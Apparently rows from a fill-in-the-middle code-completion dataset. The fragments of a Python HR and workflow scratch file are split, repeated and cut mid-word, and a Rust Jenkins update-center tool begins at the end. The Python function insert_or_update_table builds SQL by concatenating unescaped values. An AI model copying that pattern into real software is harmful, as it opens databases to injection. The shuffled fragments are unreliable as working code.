han = nation('01', '汉族')
print(han.__dict__)
print(han.desc())
def test3():
file_path = r"C:\Users\user\Documents\a.json"
lx = []
with(open(file_path, encoding='utf-8')) as f:
for line in f:
# temp_row = 'key:'+line[:line.index(',')]
mz = nation(line[:line.index(',')], line[line.index(',') + 1:-1])
lx.append(mz.__dict__)
print(lx)
def auto_generate_sql(input):
temp_input = input[input.index('(') + 1:input.index(')')].replace(' ', '')
list_param = temp_input.split(',')
temp_input = ''
ln = []
if list_param:
for item in list_param:
form_value = r"form_var.get('%s')" % item
ln.append(str(form_value))
return str(tuple(ln)).replace('"', '')
sql = "insert into sys_staff_info (job_number, staff_name, name_spell, id_number, personal_phone, " \
"company_phone, attend_number, gender, nation, birthday, address, hometown, degree, graduate_school, " \
"graduate_date, major, politic_face, height, weight, health_state, marital_status, exp_salary, postbox, " \
"emergency_contact, relationship, emergency_contact_phone, entry_date, work_state, less_id)" \
"values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"
# print(auto_generate_sql(sql))
rows = [(1, 2), (3, 4), (5, 6)]
columns_list = map(lambda x: x[0], rows)
print(list(columns_list))
def insert_or_update_table(cur, tablename, **param):
"""根据表名更新或插入数据"""
if not tablename:
return None
try:
# cur = connection.cursor()
# 根据表名查询字段和注释
sql = "SELECT COLUMN_NAME,column_comment FROM INFORMATION_SCHEMA.Columns WHERE table_name= %s AND " \
"table_schema= %s "
sql_value = (tablename, 'lqkj_db')
cur.execute(sql, sql_value)
rows = cur.fetchall()
if not rows:
return None
columns = map(lambda x: x[0], rows)
if isinstance(param, dict):
rp = set(param.keys()) & set(columns)
# 根据id判断更新还是插入
if 'id' in rp:
sql = "select 1 from %s where id = %s"
cur.execute(sql, (tablename, param.get('id')))
row = cur.fetchone()
if row:
# update
sql = "update " + tablename + " set "
for k in rp:
sql += k + '='
sql += param.get(k)
sql += "where id=" + param.get('id')
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
# excute
# return cur.execute(sql)
cur.close()
return sql
except Exception as ex:
return ex.__str__()
dc = {'row1': 'v1', 'row5': 'v3', 'row3': 'v5'}
lc = ['row2', 'row3', 'row5']
p = set(dc.keys()) & set(lc)
if 'row1' in p:
print(True)
else:
print(False)
test_var = {
"absence_apply_table": None,
"user_name": "吴晓萌",
"org_options": [
{
"key": "XT",
"value": "XT-系统部"
}
],
"department": "XT",
"position_name": "default",
"position_no": "",
"position_number": 999,
"onduty_number": 0,
"min_salary": "0",
"celling_wage": "99999",
"position_duty": "默认岗位,请尽快调整到对应岗位",
"tran_date": "2021-04-26 09:12:31",
"order_number": None,
"status_options": [
{
"key": "0",
"value": "0-申请中"
},
{
"key": "1",
"value": "1-申请成功"
},
{
"key": "2",
"value": "2-申请失败"
},
{
"key": "3",
"value": "3-已归还"
}
],
"apply_status": "0",
"apply_state_options": [
{
"key": "0",
"value": "0-发起申请"
},
{
"key": "1",
"value": "1-审核通过"
},
{
"key": "2",
"value": "2-审核未通过"
},
{
"key": "3",
"value": "3-审批完结"
},
{
"key": "5",
"value": "5-等待审批"
}
],
"approve_status": "0",
"id": None,
"category_options": [
{
"key": 1,
"value": "1-事假"
},
{
"key": 2,
"value": "2-调休"
},
{ | },
{
"key": 4,
"value": "4-陪产假"
},
{
"key": 5,
"value": "5-婚假"
},
{
"key": 6,
"value": "6-丧假"
}
],
"category": "",
"start_date": "",
"days": "",
"agent_name": "",
"end_date": "",
"reason": "",
"remark": "",
"status": "0",
"apply_state": "0",
"user_id": ""
}
# temp_var = {k: (v if v else '') for k, v in test_var.items()}
# for k, v in temp_var.items():
# print(k, v)
def rowlist2dict(ln):
tempset = {}
for k, *v in ln:
tempset[k] = v
return tempset
def test_row2dict():
ln = [('user1', 'name1', 'age1'), ('user2', 'name2', 'age2'), ('user3', None, 'age3')]
for k, v in rowlist2dict(ln).items():
print(k, v)
ln = [('user1', 'name1'), ('user2', 'name2'), ('user3', None)]
t = {k: v for k, v in ln}
tit = ['user', 'name']
lt = [{'user': k, 'name': v} for k, v in ln]
col = {'user1': 'varchar', 'age1': 'int', 'user2': 'float', 'user3': 'double'}
print(col.__doc__)
dict_list = []
for cn, cs in ln:
tempdct = {'class_name': cn, 'class_spell': cs}
dict_list.append(tempdct)
print(dict_list)
seclit = [
{
"class_name": "11",
"class_spell": "122"
},
{
"class_name": "22",
"class_spell": "33"
}
]
for item in seclit:
cn = item.get('class_name')
cs = item.get('class_spell')
print(cn, cs)
s = 'BD_SE_TD'
if 'd' in s:
print(True)
s += '_' * 2
ts = s.split('_')
company, seclass, trdclss, *_ = ts
print(company, seclass, trdclss, _)
column_dct = [{k: v} for k, v in rows]
print([x.keys() for x in column_dct]) | "key": 3,
"value": "3-产假" | random_line_split |
lifa.py | from functools import reduce
from zhdate import ZhDate
import datetime
import openpyxl
import itertools
from django.db import connection
import os
# from admin_app.sys import public_db
from pypinyin import lazy_pinyin
def readxlsx():
filename = r'd:\测试excel1.xlsx'
inwb = openpyxl.load_workbook(filename)
sheetname1 = inwb.get_sheet_names()
ws = inwb[sheetname1[0]]
rang1 = ws['A1':'C2']
return rang1
def dxweek(dt=datetime.date.today()):
if dt.isocalendar()[1] % 2 == 0:
print('大周')
else:
print('小周')
def not_null_response(respcode, **param):
# res_msg = respcode + ' ,%s不可为空'
temp_code = respcode | unit": "联桥科技有限公司",
"rec_unit": "",
"supply_address": "许昌市中原电气谷森尼瑞节能产业园四楼",
"rec_address": "",
"sp_contact": "",
"rec_contact": "",
"supply_phone": "",
"rec_phone": "",
"ERP_no": "",
"express_no": "",
"notice_date": "2021-04-16 14:36:55",
"send_date": "",
"order_detail": [],
"express_req_options": [
{
"key": "HT",
"value": "航天送货单"
},
{
"key": "ZH",
"value": "中慧平台送货单"
},
{
"key": "LQ",
"value": "联桥送货单"
},
{
"key": "ZY",
"value": "专用送货单"
},
{
"key": "QT",
"value": "其他"
}
],
"express_req": "HT",
"special_req": None,
"tab_man": "",
"qa_man": "",
"store_man": ""
}
param_not_null = {
'supply_unit': '发货单位',
'rec_unit': '收货单位',
'supply_address': '发货方地址',
'rec_address': '收货方地址',
'sp_contact': '发货方联系人',
'rec_contact': '收货方联系人',
'supply_phone': '发货方电话',
'rec_phone': '收货方电话',
'ERP_no': 'ERP销货单号',
'express_no': '货运单号',
'notice_date': '通知时间',
'send_date': '发货日期',
'order_detail': '订单明细'
}
# not_null_response(1001, **param_not_null)
# print(readxlsx())
# a = public_db.Get_SeqNo("MEETING_ROOM")
# print(a)
# print(datetime.datetime.strptime('2022-01-07', '%Y-%m-%d').date().isocalendar()[1])
# dxweek(datetime.datetime.strptime('2021-03-15', '%Y-%m-%d').date())
# ws = inwb.get_sheet_by_name(sheetname1[0])
# rows = ws.max_row
# columns = ws.max_column
#
# print(ws.cell(1, 4).value)
# sql = "insert into yw_workflow_shipnotice (supply_unit, rec_unit, supply_address, rec_address, sp_contact, " \
# "rec_contact, supply_phone, rec_phone, ERP_no, express_no, notice_date, send_date, order_detail," \
# " express_req, special_req, tab_man, tran_date, check_state) " \
# "values (%s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s,%s)"
def create_insert_value(sql):
"""根据insert语句创建对应value"""
columns = sql[sql.index('(') + 1:sql.index(')')].replace(' ', '')
columns_list = columns.split(',')
sql_value = []
for column in columns_list:
temp_str = "form_var.get('%s')" % column
sql_value.append(temp_str)
sql_value = str(tuple(sql_value)).replace('"', '')
return sql_value
sql = "insert into yw_workflow_chk_price (tab_no, tran_date, customer, prod_name, prod_type, prod_unit, " \
"prod_count, remark_bom, amount_bom, remark_scfl, amount_scfl, remark_rgcb, amount_rgcb, " \
"remark_utility, amount_utility, remark_depre, amount_depre, remark_loss, amount_loss, remark_manage, " \
"amount_manage, remark_trans, amount_trans, remark_profit, amount_profit, remark_tax, amount_tax, " \
"remark_market_price, market_price, remark_suggest_price, suggest_price, remark_confirm_price, " \
"confirm_price, tab_man,check_state) values ()"
# print(create_insert_value(sql))
var_str = {
"tab_no": "",
"tran_date": "2021-04-17 13:08:08",
"prod_name": "",
"prod_type": "",
"prod_unit": "",
"prod_count": "",
"remark_bom": "",
"amount_bom": "",
"remark_scfl": "/",
"amount_scfl": "",
"remark_rgcb": "工资",
"amount_rgcb": "",
"remark_utility": "0.6%*(材料成本+人工成本)",
"amount_utility": "",
"remark_depre": "0.9%*(材料成本+人工成本)",
"amount_depre": "",
"remark_loss": "2%*(材料成本+人工成本)",
"amount_loss": "",
"remark_manage": "1%*(材料成本+人工成本)",
"amount_manage": "",
"remark_trans": "/",
"amount_trans": "",
"remark_profit": "(BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输)*10%",
"amount_profit": "",
"remark_tax": "(人工成本+制造成本+管理费+运输+利润)*13%",
"amount_tax": "",
"remark_market_price": "",
"market_price": "",
"remark_suggest_price": "BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输+税费+利润",
"suggest_price": "",
"remark_confirm_price": "/",
"confirm_price": "",
"tab_man": "",
"confirm_man": "",
"check_man": ""
}
# list_param = ["`id` int(11) NOT NULL"]
# c_sql = "create table yw_workflow_chk_price "
#
# for param in var_str:
# list_param.append(param + " varchar(255) NULL")
# c_sql += str(tuple(list_param))
# c_sql = c_sql.replace("'", '')
# print(c_sql)
digts = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}
def char2num(c):
return digts.get(c)
def str2num(s):
"""字符串转数字"""
return reduce(lambda x, y: x * 10 + y, map(char2num, s))
def is_num(s):
digts['.'] = '.'
if isinstance(s, str):
for i in s:
if i in digts:
pass
else:
return False
return True
elif isinstance(s, int) or isinstance(s, float):
return True
else:
return False
def test1():
l1 = [('a', 1), ('a', 2), ('a', 3), ('b', 10), ('b', 11), ('a', 4), ('d', 0xFF)]
ln = [x for x in l1 if x[0] == 'a']
lm = filter(lambda x: x[0] == 'a', l1)
# print(list(lm))
l1.sort(key=lambda x: x[0])
c = itertools.groupby(l1, lambda x: x[0])
lc = {}
for k, v in c:
print(list(v)[0])
# # sum_value = 0
# # for i in v:
# # sum_value += i[1]
# sum_value = sum(x[1] for x in v)
# lc[k] = sum_value
print(lc)
s = {}
for k, v in itertools.groupby(l1, lambda x: x[0]):
s[k] = sum(x[1] for x in v)
print(s)
class nation():
def __init__(self, key1, value1):
self.key = key1
self.value = value1
def desc(self):
return r"'key': '" + self.key + r"', 'value': '" + self.value + "'"
def test2():
l1 = list(range(1, 10))
tot = reduce(lambda x, y: x * y, l1)
print(tot)
l2 = map(lambda m: m ** 2, l1)
print(list(l2))
han = nation('01', '汉族')
print(han.__dict__)
print(han.desc())
def test3():
file_path = r"C:\Users\user\Documents\a.json"
lx = []
with(open(file_path, encoding='utf-8')) as f:
for line in f:
# temp_row = 'key:'+line[:line.index(',')]
mz = nation(line[:line.index(',')], line[line.index(',') + 1:-1])
lx.append(mz.__dict__)
print(lx)
def auto_generate_sql(input):
temp_input = input[input.index('(') + 1:input.index(')')].replace(' ', '')
list_param = temp_input.split(',')
temp_input = ''
ln = []
if list_param:
for item in list_param:
form_value = r"form_var.get('%s')" % item
ln.append(str(form_value))
return str(tuple(ln)).replace('"', '')
sql = "insert into sys_staff_info (job_number, staff_name, name_spell, id_number, personal_phone, " \
"company_phone, attend_number, gender, nation, birthday, address, hometown, degree, graduate_school, " \
"graduate_date, major, politic_face, height, weight, health_state, marital_status, exp_salary, postbox, " \
"emergency_contact, relationship, emergency_contact_phone, entry_date, work_state, less_id)" \
"values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"
# print(auto_generate_sql(sql))
rows = [(1, 2), (3, 4), (5, 6)]
columns_list = map(lambda x: x[0], rows)
print(list(columns_list))
def insert_or_update_table(cur, tablename, **param):
"""根据表名更新或插入数据"""
if not tablename:
return None
try:
# cur = connection.cursor()
# 根据表名查询字段和注释
sql = "SELECT COLUMN_NAME,column_comment FROM INFORMATION_SCHEMA.Columns WHERE table_name= %s AND " \
"table_schema= %s "
sql_value = (tablename, 'lqkj_db')
cur.execute(sql, sql_value)
rows = cur.fetchall()
if not rows:
return None
columns = map(lambda x: x[0], rows)
if isinstance(param, dict):
rp = set(param.keys()) & set(columns)
# 根据id判断更新还是插入
if 'id' in rp:
sql = "select 1 from %s where id = %s"
cur.execute(sql, (tablename, param.get('id')))
row = cur.fetchone()
if row:
# update
sql = "update " + tablename + " set "
for k in rp:
sql += k + '='
sql += param.get(k)
sql += "where id=" + param.get('id')
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
# excute
# return cur.execute(sql)
cur.close()
return sql
except Exception as ex:
return ex.__str__()
dc = {'row1': 'v1', 'row5': 'v3', 'row3': 'v5'}
lc = ['row2', 'row3', 'row5']
p = set(dc.keys()) & set(lc)
if 'row1' in p:
print(True)
else:
print(False)
test_var = {
"absence_apply_table": None,
"user_name": "吴晓萌",
"org_options": [
{
"key": "XT",
"value": "XT-系统部"
}
],
"department": "XT",
"position_name": "default",
"position_no": "",
"position_number": 999,
"onduty_number": 0,
"min_salary": "0",
"celling_wage": "99999",
"position_duty": "默认岗位,请尽快调整到对应岗位",
"tran_date": "2021-04-26 09:12:31",
"order_number": None,
"status_options": [
{
"key": "0",
"value": "0-申请中"
},
{
"key": "1",
"value": "1-申请成功"
},
{
"key": "2",
"value": "2-申请失败"
},
{
"key": "3",
"value": "3-已归还"
}
],
"apply_status": "0",
"apply_state_options": [
{
"key": "0",
"value": "0-发起申请"
},
{
"key": "1",
"value": "1-审核通过"
},
{
"key": "2",
"value": "2-审核未通过"
},
{
"key": "3",
"value": "3-审批完结"
},
{
"key": "5",
"value": "5-等待审批"
}
],
"approve_status": "0",
"id": None,
"category_options": [
{
"key": 1,
"value": "1-事假"
},
{
"key": 2,
"value": "2-调休"
},
{
"key": 3,
"value": "3-产假"
},
{
"key": 4,
"value": "4-陪产假"
},
{
"key": 5,
"value": "5-婚假"
},
{
"key": 6,
"value": "6-丧假"
}
],
"category": "",
"start_date": "",
"days": "",
"agent_name": "",
"end_date": "",
"reason": "",
"remark": "",
"status": "0",
"apply_state": "0",
"user_id": ""
}
# temp_var = {k: (v if v else '') for k, v in test_var.items()}
# for k, v in temp_var.items():
# print(k, v)
def rowlist2dict(ln):
tempset = {}
for k, *v in ln:
tempset[k] = v
return tempset
def test_row2dict():
ln = [('user1', 'name1', 'age1'), ('user2', 'name2', 'age2'), ('user3', None, 'age3')]
for k, v in rowlist2dict(ln).items():
print(k, v)
ln = [('user1', 'name1'), ('user2', 'name2'), ('user3', None)]
t = {k: v for k, v in ln}
tit = ['user', 'name']
lt = [{'user': k, 'name': v} for k, v in ln]
col = {'user1': 'varchar', 'age1': 'int', 'user2': 'float', 'user3': 'double'}
print(col.__doc__)
dict_list = []
for cn, cs in ln:
tempdct = {'class_name': cn, 'class_spell': cs}
dict_list.append(tempdct)
print(dict_list)
seclit = [
{
"class_name": "11",
"class_spell": "122"
},
{
"class_name": "22",
"class_spell": "33"
}
]
for item in seclit:
cn = item.get('class_name')
cs = item.get('class_spell')
print(cn, cs)
s = 'BD_SE_TD'
if 'd' in s:
print(True)
s += '_' * 2
ts = s.split('_')
company, seclass, trdclss, *_ = ts
print(company, seclass, trdclss, _)
column_dct = [{k: v} for k, v in rows]
print([x.keys() for x in column_dct])
|
temp = form_var
# temp = eval(form_var)
for k in param:
if not temp.get(k):
respcode, respmsg = str(temp_code), param.get(k) + '不可为空'
# respinfo = HttpResponse(public.setrespinfo())
return respcode, respmsg
form_var = {
"supply_ | identifier_body |
lifa.py | from functools import reduce
from zhdate import ZhDate
import datetime
import openpyxl
import itertools
from django.db import connection
import os
# from admin_app.sys import public_db
from pypinyin import lazy_pinyin
def readxlsx():
filename = r'd:\测试excel1.xlsx'
inwb = openpyxl.load_workbook(filename)
sheetname1 = inwb.get_sheet_names()
ws = inwb[sheetname1[0]]
rang1 = ws['A1':'C2']
return rang1
def dxweek(dt=datetime.date.today()):
if dt.isocalendar()[1] % 2 == 0:
print('大周')
else:
print('小周')
def not_null_response(respcode, **param):
# res_msg = respcode + ' ,%s不可为空'
temp_code = respcode
temp = form_var
# temp = eval(form_var)
for k in param:
if not temp.get(k):
respcode, respmsg = str(temp_code), param.get(k) + '不可为空'
# respinfo = HttpResponse(public.setrespinfo())
return respcode, respmsg
form_var = {
"supply_unit": "联桥科技有限公司",
"rec_unit": "",
"supply_address": "许昌市中原电气谷森尼瑞节能产业园四楼",
"rec_address": "",
"sp_contact": "",
"rec_contact": "",
"supply_phone": "",
"rec_phone": "",
"ERP_no": "",
"express_no": "",
"notice_date": "2021-04-16 14:36:55",
"send_date": "",
"order_detail": [],
"express_req_options": [
{
"key": "HT",
"value": "航天送货单"
},
{
"key": "ZH",
"value": "中慧平台送货单"
},
{
"key": "LQ",
"value": "联桥送货单"
},
{
"key": "ZY",
"value": "专用送货单"
},
{
"key": "QT",
"value": "其他"
}
],
"express_req": "HT",
"special_req": None,
"tab_man": "",
"qa_man": "",
"store_man": ""
}
param_not_null = {
'supply_unit': '发货单位',
'rec_unit': '收货单位',
'supply_address': '发货方地址',
'rec_address': '收货方地址',
'sp_contact': '发货方联系人',
'rec_contact': '收货方联系人',
'supply_phone': '发货方电话',
'rec_phone': '收货方电话',
'ERP_no': 'ERP销货单号',
'express_no': '货运单号',
'notice_date': '通知时间',
'send_date': '发货日期',
'order_detail': '订单明细'
}
# not_null_response(1001, **param_not_null)
# print(readxlsx())
# a = public_db.Get_SeqNo("MEETING_ROOM")
# print(a)
# print(datetime.datetime.strptime('2022-01-07', '%Y-%m-%d').date().isocalendar()[1])
# dxweek(datetime.datetime.strptime('2021-03-15', '%Y-%m-%d').date())
# ws = inwb.get_sheet_by_name(sheetname1[0])
# rows = ws.max_row
# columns = ws.max_column
#
# print(ws.cell(1, 4).value)
# sql = "insert into yw_workflow_shipnotice (supply_unit, rec_unit, supply_address, rec_address, sp_contact, " \
# "rec_contact, supply_phone, rec_phone, ERP_no, express_no, notice_date, send_date, order_detail," \
# " express_req, special_req, tab_man, tran_date, check_state) " \
# "values (%s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s,%s)"
def create_insert_value(sql):
"""根据insert语句创建对应value"""
columns = sql[sql.index('(') + 1:sql.index(')')].replace(' ', '')
columns_list = columns.split(',')
sql_value = []
for column in columns_list:
temp_str = "form_var.get('%s')" % column
sql_value.append(temp_str)
sql_value = str(tuple(sql_value)).replace('"', '')
return sql_value
sql = "insert into yw_workflow_chk_price (tab_no, tran_date, customer, prod_name, prod_type, prod_unit, " \
"prod_count, remark_bom, amount_bom, remark_scfl, amount_scfl, remark_rgcb, amount_rgcb, " \
"remark_utility, amount_utility, remark_depre, amount_depre, remark_loss, amount_loss, remark_manage, " \
"amount_manage, remark_trans, amount_trans, remark_profit, amount_profit, remark_tax, amount_tax, " \
"remark_market_price, market_price, remark_suggest_price, suggest_price, remark_confirm_price, " \
"confirm_price, tab_man,check_state) values ()"
# print(create_insert_value(sql))
var_str = {
"tab_no": "",
"tran_date": "2021-04-17 13:08:08",
"prod_name": "",
"prod_type": "",
"prod_unit": "",
"prod_count": "",
"remark_bom": "",
"amount_bom": "",
"remark_scfl": "/",
"amount_scfl": "",
"remark_rgcb": "工资",
"amount_rgcb": "",
"remark_utility": "0.6%*(材料成本+人工成本)",
"amount_utility": "",
"remark_depre": "0.9%*(材料成本+人工成本)",
"amount_depre": "",
"remark_loss": "2%*(材料成本+人工成本)",
"amount_loss": "",
"remark_manage": "1%*(材料成本+人工成本)",
"amount_manage": "",
"remark_trans": "/",
"amount_trans": "",
"remark_profit": "(BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输)*10%",
"amount_profit": "",
"remark_tax": "(人工成本+制造成本+管理费+运输+利润)*13%",
"amount_tax": "",
"remark_market_price": "",
"market_price": "",
"remark_suggest_price": "BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输+税费+利润",
"suggest_price": "",
"remark_confirm_price": "/",
"confirm_price": "",
"tab_man": "",
"confirm_man": "",
"check_man": ""
}
# list_param = ["`id` int(11) NOT NULL"]
# c_sql = "create table yw_workflow_chk_price "
#
# for param in var_str:
# list_param.append(param + " varchar(255) NULL")
# c_sql += str(tuple(list_param))
# c_sql = c_sql.replace("'", '')
# print(c_sql)
digts = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}
def char2num(c):
return digts.get(c)
def str2num(s):
"""字符串转数字"""
return reduce(lambda x, y: x * 10 + y, map(char2num, s))
def is_num(s):
digts['.'] = '.'
if isinstance(s, str):
for i in s:
if i in digts:
pass
else:
return False
return True
elif isinstance(s, int) or isinstance(s, float):
return True
else:
return False
def test1():
l1 = [('a', 1), ('a', 2), ('a', 3), ('b', 10), ('b', 11), ('a', 4), ('d', 0xFF)]
ln = [x for x in l1 if x[0] == 'a']
lm = filter(lambda x: x[0] == 'a', l1)
# print(list(lm))
l1.sort(key=lambda x: x[0])
c = itertools.groupby(l1, lambda x: x[0])
lc = {}
for k, v in c:
print(list(v)[0])
# # sum_value = 0
# # for i in v:
# # sum_value += i[1]
# sum_value = sum(x[1] for x in v)
# lc[k] = sum_value
print(lc)
s = {}
for k, v in itertools.groupby(l1, lambda x: x[0]):
s[k] = sum(x[1] for x in v)
print(s)
class nation():
def __init__(self, key1, value1):
self.key = key1
self.value = value1
def desc(self):
return r"'key': '" + self.key + r"', 'value': '" + self.value + "'"
def test2():
l1 = list(range(1, 10))
tot = reduce(lambda x, y: x * y, l1)
print(tot)
l2 = map(lambda m: m ** 2, l1)
print(list(l2))
han = nation('01', '汉族')
print(han.__dict__)
print(han.desc())
def test3():
file_path = r"C:\Users\us | uments\a.json"
lx = []
with(open(file_path, encoding='utf-8')) as f:
for line in f:
# temp_row = 'key:'+line[:line.index(',')]
mz = nation(line[:line.index(',')], line[line.index(',') + 1:-1])
lx.append(mz.__dict__)
print(lx)
def auto_generate_sql(input):
temp_input = input[input.index('(') + 1:input.index(')')].replace(' ', '')
list_param = temp_input.split(',')
temp_input = ''
ln = []
if list_param:
for item in list_param:
form_value = r"form_var.get('%s')" % item
ln.append(str(form_value))
return str(tuple(ln)).replace('"', '')
sql = "insert into sys_staff_info (job_number, staff_name, name_spell, id_number, personal_phone, " \
"company_phone, attend_number, gender, nation, birthday, address, hometown, degree, graduate_school, " \
"graduate_date, major, politic_face, height, weight, health_state, marital_status, exp_salary, postbox, " \
"emergency_contact, relationship, emergency_contact_phone, entry_date, work_state, less_id)" \
"values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"
# print(auto_generate_sql(sql))
rows = [(1, 2), (3, 4), (5, 6)]
columns_list = map(lambda x: x[0], rows)
print(list(columns_list))
def insert_or_update_table(cur, tablename, **param):
"""根据表名更新或插入数据"""
if not tablename:
return None
try:
# cur = connection.cursor()
# 根据表名查询字段和注释
sql = "SELECT COLUMN_NAME,column_comment FROM INFORMATION_SCHEMA.Columns WHERE table_name= %s AND " \
"table_schema= %s "
sql_value = (tablename, 'lqkj_db')
cur.execute(sql, sql_value)
rows = cur.fetchall()
if not rows:
return None
columns = map(lambda x: x[0], rows)
if isinstance(param, dict):
rp = set(param.keys()) & set(columns)
# 根据id判断更新还是插入
if 'id' in rp:
sql = "select 1 from %s where id = %s"
cur.execute(sql, (tablename, param.get('id')))
row = cur.fetchone()
if row:
# update
sql = "update " + tablename + " set "
for k in rp:
sql += k + '='
sql += param.get(k)
sql += "where id=" + param.get('id')
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
# excute
# return cur.execute(sql)
cur.close()
return sql
except Exception as ex:
return ex.__str__()
dc = {'row1': 'v1', 'row5': 'v3', 'row3': 'v5'}
lc = ['row2', 'row3', 'row5']
p = set(dc.keys()) & set(lc)
if 'row1' in p:
print(True)
else:
print(False)
test_var = {
"absence_apply_table": None,
"user_name": "吴晓萌",
"org_options": [
{
"key": "XT",
"value": "XT-系统部"
}
],
"department": "XT",
"position_name": "default",
"position_no": "",
"position_number": 999,
"onduty_number": 0,
"min_salary": "0",
"celling_wage": "99999",
"position_duty": "默认岗位,请尽快调整到对应岗位",
"tran_date": "2021-04-26 09:12:31",
"order_number": None,
"status_options": [
{
"key": "0",
"value": "0-申请中"
},
{
"key": "1",
"value": "1-申请成功"
},
{
"key": "2",
"value": "2-申请失败"
},
{
"key": "3",
"value": "3-已归还"
}
],
"apply_status": "0",
"apply_state_options": [
{
"key": "0",
"value": "0-发起申请"
},
{
"key": "1",
"value": "1-审核通过"
},
{
"key": "2",
"value": "2-审核未通过"
},
{
"key": "3",
"value": "3-审批完结"
},
{
"key": "5",
"value": "5-等待审批"
}
],
"approve_status": "0",
"id": None,
"category_options": [
{
"key": 1,
"value": "1-事假"
},
{
"key": 2,
"value": "2-调休"
},
{
"key": 3,
"value": "3-产假"
},
{
"key": 4,
"value": "4-陪产假"
},
{
"key": 5,
"value": "5-婚假"
},
{
"key": 6,
"value": "6-丧假"
}
],
"category": "",
"start_date": "",
"days": "",
"agent_name": "",
"end_date": "",
"reason": "",
"remark": "",
"status": "0",
"apply_state": "0",
"user_id": ""
}
# temp_var = {k: (v if v else '') for k, v in test_var.items()}
# for k, v in temp_var.items():
# print(k, v)
def rowlist2dict(ln):
tempset = {}
for k, *v in ln:
tempset[k] = v
return tempset
def test_row2dict():
ln = [('user1', 'name1', 'age1'), ('user2', 'name2', 'age2'), ('user3', None, 'age3')]
for k, v in rowlist2dict(ln).items():
print(k, v)
ln = [('user1', 'name1'), ('user2', 'name2'), ('user3', None)]
t = {k: v for k, v in ln}
tit = ['user', 'name']
lt = [{'user': k, 'name': v} for k, v in ln]
col = {'user1': 'varchar', 'age1': 'int', 'user2': 'float', 'user3': 'double'}
print(col.__doc__)
dict_list = []
for cn, cs in ln:
tempdct = {'class_name': cn, 'class_spell': cs}
dict_list.append(tempdct)
print(dict_list)
seclit = [
{
"class_name": "11",
"class_spell": "122"
},
{
"class_name": "22",
"class_spell": "33"
}
]
for item in seclit:
cn = item.get('class_name')
cs = item.get('class_spell')
print(cn, cs)
s = 'BD_SE_TD'
if 'd' in s:
print(True)
s += '_' * 2
ts = s.split('_')
company, seclass, trdclss, *_ = ts
print(company, seclass, trdclss, _)
column_dct = [{k: v} for k, v in rows]
print([x.keys() for x in column_dct])
| er\Doc | identifier_name |
jenkins-mod-main.rs | #[macro_use]
extern crate error_chain;
extern crate hyper;
extern crate log4rs;
#[macro_use]
extern crate log;
#[macro_use]
extern crate serde_derive;
extern crate serde_json;
extern crate structopt;
#[macro_use]
extern crate structopt_derive;
extern crate toml;
use hyper::client::{Client, RedirectPolicy};
use serde_json::{Map, Value};
use std::fs::{self, File};
use std::io::{self, Read, Write};
use std::path::{Path, PathBuf};
use std::process;
use structopt::StructOpt;
mod errors {
error_chain! {
errors {
}
}
}
use errors::*;
#[derive(Serialize, Deserialize, Debug)]
struct FileConfig {
update_center_url: String,
suppress_front: String,
suppress_back: String,
connection_check_url_change: String,
url_replace_from: String,
url_replace_into: String,
auto_create_output_dir: bool,
modified_json_file_path: PathBuf,
url_list_json_file_path: PathBuf,
}
#[derive(StructOpt, Debug)]
#[structopt(name = "Test", about = "Test program")]
struct ArgConfig {
#[structopt(short = "c", long = "config", help = "File configuration path")]
config_path: String,
#[structopt(short = "l", long = "log-config", help = "Log configuration file path")]
log_config_path: String,
}
// const key names
const CONNECTION_CHECK_URL_KEY: &str = "connectionCheckUrl";
const CORE_KEY: &str = "core";
const PLUGINS_KEY: &str = "plugins";
const URL_KEY: &str = "url";
type MapStrVal = Map<String, Value>;
fn change_connection_check_url<S: Into<String>>(
resp_outer_map: &mut MapStrVal,
connection_check_url_change: S,
) -> Result<()> {
let connection_check_url = match resp_outer_map.get_mut(CONNECTION_CHECK_URL_KEY) {
Some(connection_check_url) => connection_check_url,
None => bail!(format!(
"Unable to find '{}' for changing connection URL",
CONNECTION_CHECK_URL_KEY
)),
};
let connection_check_url = match connection_check_url {
&mut Value::String(ref mut connection_check_url) => connection_check_url,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
CONNECTION_CHECK_URL_KEY,
c
)),
};
*connection_check_url = connection_check_url_change.into();
Ok(())
}
fn replace_url_impl(
url_outer: &mut Value,
outer_key: &str,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let url_outer_map = match url_outer {
&mut Value::Object(ref mut url_outer_map) => url_outer_map,
c => bail!(format!(
"Expected '{}' to be an object, but found content: {:?}",
outer_key,
c
)),
};
let url = match url_outer_map.get_mut(URL_KEY) {
Some(url) => url,
None => bail!(format!(
"Expected '{}' to be present for '{}'",
